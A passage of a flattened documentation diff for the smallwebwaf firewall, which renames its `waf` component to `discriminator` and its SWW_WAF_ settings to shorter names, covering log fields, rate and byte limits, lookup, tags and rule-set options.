answered the request, in `observe` mode too: `refusal_limit` or `byte_limits`. `discriminator` answered the request, in `observe` mode too: `refusal_limit`
or `byte_limits`.
- `after_answer_heuristic_figures`: an object of the figures that heuristic - `after_answer_heuristic_figures`: an object of the figures that heuristic
acted on, as listed above. acted on, as listed above.
@@ -148,7 +149,7 @@ Every one of these lines has:
holds: holds:
- `minute`, `hour` and `day`: requests; - `minute`, `hour` and `day`: requests;
- `minute_bytes`, `hour_bytes` and `day_bytes`: the body bytes - `minute_bytes`, `hour_bytes` and `day_bytes`: the body bytes
`SWW_WAF_BYTES_COUNTED` names, in that window. `SWW_BYTES_COUNT` names, in that window.
A count can have a fraction (see "Counting method" in A count can have a fraction (see "Counting method" in
[`SPEC.md`](../SPEC.md)). The bytes counted for an allowed request and its [`SPEC.md`](../SPEC.md)). The bytes counted for an allowed request and its
@@ -158,8 +159,7 @@ Every one of these lines has:
- `limit_hit`: the limit broken: - `limit_hit`: the limit broken:
- `minute`, `hour` or `day` for a rate limit; - `minute`, `hour` or `day` for a rate limit;
- `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit; - `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit;
- `minute_refusals` for the refusal limit - `minute_refusals` for the error burst (`SWW_ERROR_BURST_THRESHOLD`).
(`SWW_WAF_REFUSALS_LIMIT_PER_MINUTE`).
When the bytes counted for a request and its response break a limit, the When the bytes counted for a request and its response break a limit, the
request has been passed on whole, so its `action` stays `forward`. Only its request has been passed on whole, so its `action` stays `forward`. Only its
@@ -177,7 +177,7 @@ Every one of these lines has:
- `tags`: the request's tags, sorted, left out when it has none. Each tag and - `tags`: the request's tags, sorted, left out when it has none. Each tag and
where it comes from is under "Request tags" in [`SPEC.md`](../SPEC.md). where it comes from is under "Request tags" in [`SPEC.md`](../SPEC.md).
- `routewatch_tags_missing`: why the request got no tags from routewatch, - `routewatch_tags_missing`: why the request got no tags from routewatch,
present only while `SWW_WAF_ROUTEWATCH_URL` is set: present only while `SWW_ROUTEWATCH_URL` is set:
- `no_answer_yet`: routewatch has not answered about this client yet; - `no_answer_yet`: routewatch has not answered about this client yet;
- `request_failed`: a query to routewatch failed within the last minute, and - `request_failed`: a query to routewatch failed within the last minute, and
the process log says why; the process log says why;
@@ -191,8 +191,8 @@ Every one of these lines has:
All in milliseconds: All in milliseconds:
- `duration_total_ms`: - `duration_total_ms`:
- on the `decision` line, from `waf` having read the question's body to the - on the `decision` line, from `discriminator` having read the question's
line; body to the line;
- on the `report` line, from `rproxy` having read the request's headers to - on the `report` line, from `rproxy` having read the request's headers to
the end of the answer. the end of the answer.
- `duration_checks_ms`: to the end of the checks; - `duration_checks_ms`: to the end of the checks;
@@ -202,8 +202,8 @@ All in milliseconds:
### Requests to its own endpoints ### Requests to its own endpoints
The line of a request to `waf`'s own endpoints has these fields, with these The line of a request to `discriminator`'s own endpoints has these fields, with
meanings where they differ: these meanings where they differ:
- `client_ip` and `peer_ip`: the request's TCP peer. - `client_ip` and `peer_ip`: the request's TCP peer.
- `request_id`: a new random one of 26 letters and digits. - `request_id`: a new random one of 26 letters and digits.
@@ -216,7 +216,7 @@ meanings where they differ:
## `rproxy`'s line ## `rproxy`'s line
`sww rproxy` writes one short line for each request. `request_id` joins it to `sww rproxy` writes one short line for each request. `request_id` joins it to
`waf`'s two. It has these fields and no others: `discriminator`'s two. It has these fields and no others:
- `type`: `request`. - `type`: `request`.
- `time`: when the request arrived, RFC 3339 with milliseconds, in UTC. - `time`: when the request arrived, RFC 3339 with milliseconds, in UTC.
@@ -231,18 +231,17 @@ meanings where they differ:
carried from the app. carried from the app.
- `duration_request_ms`: milliseconds from the request's headers being read - `duration_request_ms`: milliseconds from the request's headers being read
until the app had been sent the whole request, or the answer started if that until the app had been sent the whole request, or the answer started if that
was sooner. It includes the wait for `waf`. was sooner. It includes the wait for `discriminator`.
- `duration_response_ms`: milliseconds from then until the end of the answer. - `duration_response_ms`: milliseconds from then until the end of the answer.
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It - `disposition`: what was done with the request: `allow`, `deny` or `close`. It
is `waf`'s answer, or the value of is `discriminator`'s answer, or the value of `SWRP_DEFAULT_DISPOSITION`. It is
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION`. It is left out when: left out when:
- `waf` was not asked, as for the health check; - `discriminator` was not asked, as for the health check;
- the visitor went away while `waf` was being asked; - the visitor went away while `discriminator` was being asked;
- `waf`'s answer had no valid `X-Sww-Disposition`; - `discriminator`'s answer had no valid `X-Sww-Disposition`;
- `rproxy` could not pass on `waf`'s answer, and answered `502`. - `rproxy` could not pass on `discriminator`'s answer, and answered `502`.
- `waf_backend_no_answer`: `true` when - `default_disposition`: `true` when `SWRP_DEFAULT_DISPOSITION` gave
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` gave `disposition`, and `disposition`, and otherwise left out.
otherwise left out.
For example: For example:
+6 -4
View File
@@ -54,18 +54,20 @@ empty-agent user_agent log ^$
## A file of your own ## A file of your own
`waf` reads the rule files in its own container. Rules of your own go in a file `discriminator` reads the rule files in its own container. Rules of your own go
named to sort after the default, such as `50-site.rules`: in a file named to sort after the default, such as `50-site.rules`:
``` ```
# 50-site.rules: WordPress probes, which this site never serves # 50-site.rules: WordPress probes, which this site never serves
wp-probe path ban (?i)^/(wp-login\.php|xmlrpc\.php|wp-admin/) wp-probe path ban (?i)^/(wp-login\.php|xmlrpc\.php|wp-admin/)
``` ```
A `Dockerfile` built on the `smallwebwaf` image, for `waf` to run from, adds it: A `Dockerfile` built on the `smallwebwaf` image, for `discriminator` to run
from, adds it:
```dockerfile ```dockerfile
COPY 50-site.rules /etc/sww/rules.d/50-site.rules COPY 50-site.rules /etc/sww/rules.d/50-site.rules
``` ```
Or mount it there. A `path` rule applies on every site behind that `waf`. Or mount it there. A `path` rule applies on every site behind that
`discriminator`.
+259 -300
View File
@@ -4,16 +4,14 @@ Every setting, its default and the values it takes, in the groups of "Settings"
in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings
that take `off`, the `_FILE` form, and what each group does and why. that take `off`, the `_FILE` form, and what each group does and why.
The settings that start with `SWW_WAF_` are `waf`'s. Those that start with The settings that start with `SWW_` are `discriminator`'s. Those that start with
`SWW_RPROXY_` are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND` `SWRP_` are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND` chooses
chooses between the two (see "The image's command" below). between the two (see "The image's command" below).
## Forms of values ## Forms of values
- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`. Zero - A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`. Zero
and negative durations are refused. and negative durations are refused.
- A time in milliseconds is a whole number above zero, such as `2000`. Its
setting's name ends in `_MS`.
- A size is a number of bytes with an optional `K`, `M` or `G`, which are powers - A size is a number of bytes with an optional `K`, `M` or `G`, which are powers
of 1024, so `1K` is 1024 bytes. Examples: `512K`, `100M`, `5G`. of 1024, so `1K` is 1024 bytes. Examples: `512K`, `100M`, `5G`.
- A count is a whole number of requests, such as `1000`. - A count is a whole number of requests, such as `1000`.
@@ -30,101 +28,97 @@ chooses between the two (see "The image's command" below).
## Core ## Core
- `SWW_WAF_LISTEN_ADDR` (default `:8080`): where `waf` listens: `:` and a port, - `SWW_LISTEN_ADDR` (default `:8080`): where `discriminator` listens: `:` and a
such as `:9000`. Leave the host out (see "Ports" in [`SPEC.md`](../SPEC.md)). port, such as `:9000`. Leave the host out (see "Ports" in
- `SWW_WAF_INSTANCE_NAME` (default: the container's host name): the `instance` [`SPEC.md`](../SPEC.md)).
name in each line `waf` logs, and in each alert and metric, such as - `SWW_INSTANCE_NAME` (default: the container's host name): the `instance` name
`fsn1/waf`. Valid UTF-8. No control character while `SWW_WAF_ALERT_NTFY_URL` in each line `discriminator` logs, and in each alert and metric, such as
is set. 1 to 48 printable ASCII characters without a space while `fsn1/discriminator`. Valid UTF-8. No control character while
`SWW_WAF_LOG_REMOTE_URL` is set and `SWW_WAF_LOG_REMOTE_APP_NAME` is not. `SWW_ALERT_NTFY_URL` is set. 1 to 48 printable ASCII characters without a
- `SWW_WAF_MODE` (default `enforce`): `enforce` or `observe`. space while `SWW_LOG_REMOTE_URL` is set and `SWW_LOG_REMOTE_APP_NAME` is not.
- `SWW_WAF_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6 - `SWW_MODE` (default `enforce`): `enforce` or `observe`.
client's group, from 32 to 128. - `SWW_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6 client's
- `SWW_WAF_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a group, from 32 to 128.
whole number above zero. - `SWW_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a whole
- `SWW_WAF_MAX_BANS` (default `5000`): how many of its own bans `waf` keeps, a number above zero.
whole number above zero. - `SWW_MAX_BANS` (default `5000`): how many of its own bans `discriminator`
keeps, a whole number above zero.
## Tokens ## Tokens
- `SWW_WAF_ADMIN_TOKEN` (default unset): the token for the ban endpoints and - `SWW_ADMIN_TOKEN` (default unset): the token for the ban endpoints and
`/_sww/clients/<ip>`. At least 32 characters. `/_sww/clients/<ip>`. At least 32 characters.
- `SWW_WAF_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At - `SWW_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At least
least 32 characters. 32 characters.
## State and cache files ## State files
- `SWW_WAF_STATE_DIR` (default `/var/lib/sww`): the directory of the state - `SWW_STATE_DIR` (default `/var/lib/sww`): the directory of the state files, an
files, an absolute path that can be written. The image's `run` script makes absolute path that exists and can be written.
it. - `SWW_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
- `SWW_WAF_BANS_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
written after a ban is made, lifted or made permanent. A duration. written after a ban is made, lifted or made permanent. A duration.
- `SWW_WAF_STATE_WRITE_INTERVAL` (default `15m`): how often every state and - `SWW_STATE_COUNTER_INTERVAL` (default `15m`): how often every state file is
cache file is written. A duration. written. A duration.
- `SWW_WAF_CACHE_DIR` (default `/var/cache/sww`): the directory of the cache
files, an absolute path that can be written. The image's `run` script makes
it.
## Logging ## Logging
- `SWW_WAF_LOG_LEVEL` (default `info`): the least severe of `waf`'s own messages - `SWW_LOG_LEVEL` (default `info`): the least severe of `discriminator`'s own
that are written: `debug`, `info`, `warn` or `error`. messages that are written: `debug`, `info`, `warn` or `error`.
- `SWW_WAF_LOG_REQUEST_HEADERS` (default - `SWW_LOG_REQUEST_HEADERS` (default
`accept,accept-language,accept-encoding,content-type,origin,range`): the `accept,accept-language,accept-encoding,content-type,origin,range`): the
request headers recorded in the log line, in either case. `Host` and request headers recorded in the log line, in either case. `Host` and
`Transfer-Encoding` are refused; the host is the field `host`. `Transfer-Encoding` are refused; the host is the field `host`.
- `SWW_WAF_LOG_REMOTE_URL` (default unset): a syslog server that also gets every - `SWW_LOG_REMOTE_URL` (default unset): a syslog server that also gets every
line written to stdout: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://`, line written to stdout: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://`,
each with a host and a port and nothing more. each with a host and a port and nothing more.
- `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates - `SWW_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates that
that a `syslog+tls` server's certificate must chain to, instead of the host's a `syslog+tls` server's certificate must chain to, instead of the host's own.
own. A file that cannot be read, or holds no certificate, is refused. A file that cannot be read, or holds no certificate, is refused.
- `SWW_WAF_LOG_REMOTE_BUFFER_LINES` (default `10000`): the most lines held while - `SWW_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they wait
they wait to be sent, a whole number above zero. to be sent, a whole number above zero.
- `SWW_WAF_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`, - `SWW_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
`user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`, `user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`,
`authpriv`, `ftp`, or `local0` to `local7`. `authpriv`, `ftp`, or `local0` to `local7`.
- `SWW_WAF_LOG_REMOTE_APP_NAME` (default: `SWW_WAF_INSTANCE_NAME`): the app name - `SWW_LOG_REMOTE_APP_NAME` (default: `SWW_INSTANCE_NAME`): the app name in each
in each syslog record, 1 to 48 printable ASCII characters without a space. syslog record, 1 to 48 printable ASCII characters without a space.
## Metrics ## Metrics
- `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` (default `50`): how many AS - `SWW_METRICS_TOP_N` (default `50`): how many AS numbers and how many countries
numbers and how many countries get series of their own. A whole number above get series of their own. A whole number above zero.
zero.
## Static lists ## Static lists
- `SWW_WAF_ALLOW_NETS` (default empty): netblocks you trust, such as your - `SWW_ALLOW_NETS` (default empty): netblocks you trust, such as your monitoring
monitoring (see step 4 in [`SPEC.md`](../SPEC.md)). (see step 4 in [`SPEC.md`](../SPEC.md)).
- `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are - `SWW_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are
exempt from rate limiting and the byte limits. exempt from rate limiting and the byte limits.
- `SWW_WAF_DENY_NETS` (default empty): netblocks whose clients are refused (see - `SWW_DENY_NETS` (default empty): netblocks whose clients are refused (see step
step 4 in [`SPEC.md`](../SPEC.md)). 4 in [`SPEC.md`](../SPEC.md)).
## Request rate limits, per client ## Request rate limits, per client
The request past one of these limits is refused, and the client is banned. The request past one of these limits is refused, and the client is banned.
- `SWW_WAF_RATE_LIMIT_PER_MINUTE` (default `120`, 2 a second): the most requests - `SWW_RATE_LIMIT_PER_MINUTE` (default `120`, 2 a second): the most requests a
a client may make in a minute. A count or `off`. The default leaves room for a client may make in a minute. A count or `off`. The default leaves room for a
person opening two pages at once with an empty cache, up to 60 files each. person opening two pages at once with an empty cache, up to 60 files each.
- `SWW_WAF_RATE_LIMIT_PER_HOUR` (default `1500`): the most requests a client may - `SWW_RATE_LIMIT_PER_HOUR` (default `1500`): the most requests a client may
make in an hour. A count or `off`. It is the main limit against scrapers. A make in an hour. A count or `off`. It is the main limit against scrapers. A
person reading a site for an hour, a page every 20 seconds, makes about 900. A person reading a site for an hour, a page every 20 seconds, makes about 900. A
scraper making one request every 2 seconds makes 1,800 an hour, more than the scraper making one request every 2 seconds makes 1,800 an hour, more than the
limit. limit.
- `SWW_WAF_RATE_LIMIT_PER_DAY` (default `6000`): the most requests a client may - `SWW_RATE_LIMIT_PER_DAY` (default `6000`): the most requests a client may make
make in a day. A count or `off`. The default is four hours at the hour limit. in a day. A count or `off`. The default is four hours at the hour limit. A
A scraper making one request every 10 seconds makes 8,640 a day, more than the scraper making one request every 10 seconds makes 8,640 a day, more than the
limit. limit.
- A CI runner asks its code forge for work all day and can pass the limits. Put - A CI runner asks its code forge for work all day and can pass the limits. Put
the runners' addresses in `SWW_WAF_RATE_LIMIT_EXEMPT_NETS`. Do the same for a the runners' addresses in `SWW_RATE_LIMIT_EXEMPT_NETS`. Do the same for a
network where many people share one address, such as an office. network where many people share one address, such as an office.
- Counting cannot catch a client that stays under all three limits (see "Request - Counting cannot catch a client that stays under all three limits (see "Request
rate limits, per client" in [`SPEC.md`](../SPEC.md)). rate limits, per client" in [`SPEC.md`](../SPEC.md)).
- `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from - `SWW_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from rate
rate limiting and the byte limits, such as `/assets/`. limiting and the byte limits, such as `/assets/`.
## Byte limits, per client ## Byte limits, per client
@@ -134,84 +128,83 @@ counted for a request and its response are added to the client's total once the
response has ended. The request that takes a client's total past a limit is not response has ended. The request that takes a client's total past a limit is not
cut off; the client is banned. cut off; the client is banned.
- `SWW_WAF_BYTES_LIMIT_PER_MINUTE` (default `off`), - `SWW_BYTES_LIMIT_PER_MINUTE` (default `off`), `SWW_BYTES_LIMIT_PER_HOUR`
`SWW_WAF_BYTES_LIMIT_PER_HOUR` (default `50G`) and (default `50G`) and `SWW_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes
`SWW_WAF_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes counted for a counted for a client in each window, a size or `off`. `SWW_BYTES_COUNT` says
client in each window, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which which bytes count: response bodies, request bodies or both. The request that
bytes count: response bodies, request bodies or both. The request that passes passes the limit is not cut off, and the client is banned when its response
the limit is not cut off, and the client is banned when its response ends. ends.
- `SWW_WAF_BYTES_COUNTED` (default `both`): what the byte limits and the byte - `SWW_BYTES_COUNT` (default `both`): what the byte limits and the byte anomaly
anomaly thresholds count: `response`, the app's response bodies; `request`, thresholds count: `response`, the app's response bodies; `request`, the
the visitors' request bodies; or `both`. What the visitor sent over a visitors' request bodies; or `both`. What the visitor sent over a WebSocket
WebSocket counts as request bytes, and what the app sent as response bytes. counts as request bytes, and what the app sent as response bytes.
## Lookup of AS number and country ## Lookup of AS number and country
- `SWW_WAF_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off` - `SWW_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off` stops
stops the start while a setting that needs a lookup is set: the start while a setting that needs a lookup is set:
- `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES`; - `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES`;
- `SWW_WAF_ADD_LOOKUP_HEADERS`; - `SWW_ADD_LOOKUP_HEADERS`;
- `SWW_WAF_TAG_DENY` or `SWW_WAF_TAG_LIMIT_PERCENT` naming a `country=` tag, - `SWW_TAG_DENY` or `SWW_TAG_LIMIT_PERCENT` naming a `country=` tag, or an
or an `asn=` tag while `SWW_WAF_ROUTEWATCH_URL` is unset; `asn=` tag while `SWW_ROUTEWATCH_URL` is unset;
- the two byte percentage lists and `SWW_WAF_ASN_LIMIT_PERCENT_URL`; - the two byte percentage lists and `SWW_ASN_LIMIT_PERCENT_URL`;
- `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` below `100`; - `SWW_UNKNOWN_LIMIT_PERCENT` below `100`;
- an anomaly threshold per AS number. - an anomaly threshold per AS number.
- `SWW_WAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in - `SWW_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in its
its `.mmdb` form, for `SWW_WAF_LOOKUP_SOURCE=file`. `.mmdb` form, for `SWW_LOOKUP_SOURCE=file`.
- `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` (default `800`): how long a - `SWW_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its
request waits for its client's first answer from GeoJS, and how long a request client's first answer from GeoJS, and how long a request to GeoJS may take. A
to GeoJS may take. A time in milliseconds; never `off`. duration; never `off`.
- `SWW_WAF_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the - `SWW_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the app
app the client's AS number in `X-Client-ASN` and its country in the client's AS number in `X-Client-ASN` and its country in
`X-Client-Country`. `X-Client-Country`.
## Country list ## Country list
- `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only - `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only
countries whose clients get through, such as `us,de`. A country whose countries whose clients get through, such as `us,de`. A country whose
`country=` tag is in `SWW_WAF_TAG_DENY` stops the start. `country=` tag is in `SWW_TAG_DENY` stops the start.
## Request tags ## Request tags
Every request gets tags from what `waf` knows of its client. See "Request tags" Every request gets tags from what `discriminator` knows of its client. See
in [`SPEC.md`](../SPEC.md). "Request tags" in [`SPEC.md`](../SPEC.md).
- `SWW_WAF_TAG_LISTS` (default empty): address lists that each add a tag, as - `SWW_TAG_LISTS` (default empty): address lists that each add a tag, as
`name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the
tag, and may hold `=`, such as `vpn=mullvad`. Each list is an `http` or tag, and may hold `=`, such as `vpn=mullvad`. Each list is an `http` or
`https` URL fetched like a blocklist. A name or URL listed twice is refused. `https` URL fetched like a blocklist. A name or URL listed twice is refused.
So is a URL that is also in `SWW_WAF_BLOCKLIST_URLS`, So is a URL that is also in `SWW_BLOCKLIST_URLS`, `SWW_ASN_LIMIT_PERCENT_URL`,
`SWW_WAF_ASN_LIMIT_PERCENT_URL`, or the CrowdSec decision list. or the CrowdSec decision list.
- `SWW_WAF_TAG_DENY` (default empty): tags whose requests are refused, such as - `SWW_TAG_DENY` (default empty): tags whose requests are refused, such as
`torexit,country=CN`. A tag listed twice, an `asn=` tag without a number, or a `torexit,country=CN`. A tag listed twice, an `asn=` tag without a number, or a
`country=` tag without a country, is refused. `country=` tag without a country, is refused.
- `SWW_WAF_TAG_LIMIT_PERCENT` (default empty): tags that lower a client's - `SWW_TAG_LIMIT_PERCENT` (default empty): tags that lower a client's limits, as
limits, as tag and percentage pairs, such as `vpn:50,asn=14061:25`. A tag and percentage pairs, such as `vpn:50,asn=14061:25`. A percentage is from
percentage is from `1` to `99`, of every rate limit and byte limit. The lowest `1` to `99`, of every rate limit and byte limit. The lowest percentage among a
percentage among a client's tags applies. A tag listed twice is refused. So is client's tags applies. A tag listed twice is refused. So is
`exploitsignature`: a request gets that tag after the rate limits have counted `exploitsignature`: a request gets that tag after the rate limits have counted
it. it.
- `SWW_WAF_ROUTEWATCH_URL` (default unset): the `http` or `https` URL of a - `SWW_ROUTEWATCH_URL` (default unset): the `http` or `https` URL of a
routewatch instance. [routewatch](https://git.eeqj.de/sneak/routewatch) is a routewatch instance. [routewatch](https://git.eeqj.de/sneak/routewatch) is a
service that gives an address's announced netblock and origin AS. `waf` asks service that gives an address's announced netblock and origin AS.
it about each client, in the background, and adds the tags `asn=<number>` and `discriminator` asks it about each client, in the background, and adds the
`prefix=<netblock>` from its answer. While it is unset, nothing asks tags `asn=<number>` and `prefix=<netblock>` from its answer. While it is
routewatch and no request gets a `prefix=` tag. unset, nothing asks routewatch and no request gets a `prefix=` tag.
`SWW_WAF_TAG_DENY` and `SWW_WAF_TAG_LIMIT_PERCENT` accept tags in either case. A `SWW_TAG_DENY` and `SWW_TAG_LIMIT_PERCENT` accept tags in either case. A tag
tag that no request can get stops the start. A request can get only these: that no request can get stops the start. A request can get only these:
- a name in `SWW_WAF_TAG_LISTS`; - a name in `SWW_TAG_LISTS`;
- an `asn=` or `country=` tag; - an `asn=` or `country=` tag;
- a `prefix=` tag with a netblock, while `SWW_WAF_ROUTEWATCH_URL` is set. It - a `prefix=` tag with a netblock, while `SWW_ROUTEWATCH_URL` is set. It matches
matches only that exact announced netblock, such as `prefix=192.0.2.0/24`; only that exact announced netblock, such as `prefix=192.0.2.0/24`;
- a `dnsbl=` tag of a zone in `SWW_WAF_DNSBL_ZONES`, in lower case, with a key - a `dnsbl=` tag of a zone in `SWW_DNSBL_ZONES`, in lower case, with a key
masked as the `reputation` field shows it; masked as the `reputation` field shows it;
- `abuseipdb`, while `SWW_WAF_ABUSEIPDB_KEY` is set; - `abuseipdb`, while `SWW_ABUSEIPDB_KEY` is set;
- `exploitsignature`, in `SWW_WAF_TAG_DENY` only, while - `exploitsignature`, in `SWW_TAG_DENY` only, while `SWW_RULES_ENABLED` is
`SWW_WAF_RULE_FILES_ENABLED` is `true`, or while neither `true`, or while neither `SWW_WAF_MODE` nor `SWW_WAF_ANOMALY_THRESHOLD` is
`SWW_WAF_CORE_RULE_SET_MODE` nor `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` is
`off`. `off`.
`crowdsec` stops the start in both settings, because a CrowdSec decision refuses `crowdsec` stops the start in both settings, because a CrowdSec decision refuses
@@ -219,184 +212,151 @@ the request first.
## Biased thresholds ## Biased thresholds
- `SWW_WAF_ASN_BYTES_LIMIT_PERCENT` and `SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT` - `SWW_ASN_BYTES_PERCENT` and `SWW_COUNTRY_BYTES_PERCENT` (default empty): a
(default empty): a percentage of the byte limits alone, for the AS numbers or percentage of the byte limits alone, for the AS numbers or countries listed,
countries listed, such as `AS14061:50` or `cn:25`. It takes the place of the such as `AS14061:50` or `cn:25`. It takes the place of the percentage
percentage `SWW_WAF_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag. `SWW_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag. An AS number or
An AS number or country listed twice is refused. country listed twice is refused.
- `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` (default `100`): the percentage for a - `SWW_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client the
client the lookup cannot place. lookup cannot place.
- `SWW_WAF_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of - `SWW_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of a
a text file with one AS number and percentage on each line, such as text file with one AS number and percentage on each line, such as
`AS64496:50`. Each entry counts like an `asn=` tag in `AS64496:50`. Each entry counts like an `asn=` tag in `SWW_TAG_LIMIT_PERCENT`.
`SWW_WAF_TAG_LIMIT_PERCENT`. A URL that is also in `SWW_WAF_BLOCKLIST_URLS` is A URL that is also in `SWW_BLOCKLIST_URLS` is refused.
refused.
## Attack detection ## Attack detection
- `SWW_WAF_RULE_FILES_DIR` (default `/etc/sww/rules.d`): the directory of the - `SWW_RULES_DIR` (default `/etc/sww/rules.d`): the directory of the rule files.
rule files. - `SWW_RULES_ENABLED` (default `true`): `false` reads no rule file.
- `SWW_WAF_RULE_FILES_ENABLED` (default `true`): `false` reads no rule file. - `SWW_TRAP_PATHS` (default empty): paths only scanners ask for, such as
- `SWW_WAF_TRAP_PATHS` (default empty): paths only scanners ask for, such as
`/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`. `/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`.
- `SWW_WAF_CORE_RULE_SET_MODE` (default `block`): `off`, `detect` or `block`. - `SWW_WAF_MODE` (default `block`): `off`, `detect` or `block`.
- `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` (default `1`): the Core Rule Set's - `SWW_WAF_PARANOIA_LEVEL` (default `1`): the Core Rule Set's paranoia level,
paranoia level, from 1 to 4. from 1 to 4.
- `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` (default `5`): the score at which a - `SWW_WAF_ANOMALY_THRESHOLD` (default `5`): the score at which a request is a
request is a match. A whole number above zero, or `off`. match. A whole number above zero, or `off`.
- `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` (default - `SWW_WAF_DISABLED_RULES` (default
`920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules `920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules
to switch off. Each a whole number above zero. An id from 900000 to 900999 is to switch off. Each a whole number above zero. An id from 900000 to 900999 is
refused: those are the rules that set the Core Rule Set up, and refused: those are the rules that set the Core Rule Set up, and
`smallwebwaf`'s own. `smallwebwaf`'s own.
- `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` (default empty): path prefixes the Core - `SWW_WAF_EXEMPT_PATHS` (default empty): path prefixes the Core Rule Set does
Rule Set does not inspect. not inspect.
- `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` (default `off`): `off`, or how - `SWW_WAF_BODY_LIMIT` (default `off`): `off`, or how much of a request body the
much of a request body the Core Rule Set reads, a size of at most `64K`. A Core Rule Set reads, a size of at most `64K`. A question carries no more of a
question carries no more of a body than 64 KiB, and the Core Rule Set reads at body than 64 KiB, and the Core Rule Set reads at most 64 KiB less one byte of
most 64 KiB less one byte of it, whatever the value (see "The answer" in it, whatever the value (see "The answer" in [`SPEC.md`](../SPEC.md)).
[`SPEC.md`](../SPEC.md)). - `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule Set
- `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule exclusions, written as Coraza directives. It is loaded before the Core Rule
Set exclusions, written as Coraza directives. It is loaded before the Core Set's rules, so it holds only `SecAction` and `SecRule` lines that exclude
Rule Set's rules, so it holds only `SecAction` and `SecRule` lines that with `ctl:ruleRemoveTargetById` or `ctl:ruleRemoveById`. A file that cannot be
exclude with `ctl:ruleRemoveTargetById` or `ctl:ruleRemoveById`. A file that read or does not parse stops the start, whatever `SWW_WAF_MODE` is. So does a
cannot be read or does not parse stops the start, whatever file that names a number from 900000 to 900999 outside a comment, alone or in
`SWW_WAF_CORE_RULE_SET_MODE` is. So does a file that names a number from a range. So does a directive that removes or changes rules as the file loads,
900000 to 900999 outside a comment, alone or in a range. So does a directive such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
that removes or changes rules as the file loads, such as `SecRuleRemoveById`, yet. It has no `_FILE` form.
since none of the Core Rule Set's rules is loaded yet. It has no `_FILE` form. - `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
- `SWW_WAF_APPS` (default unset): the apps each hostname serves. A request gets in a minute from a rule file, a trap path or the Core Rule Set, a count or
the fixes of its hostname's apps only (see "Attack detection" in `off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
[`SPEC.md`](../SPEC.md)).
- Entries are separated by semicolons. Each is a hostname, a colon, then one
or more apps separated by commas, for example
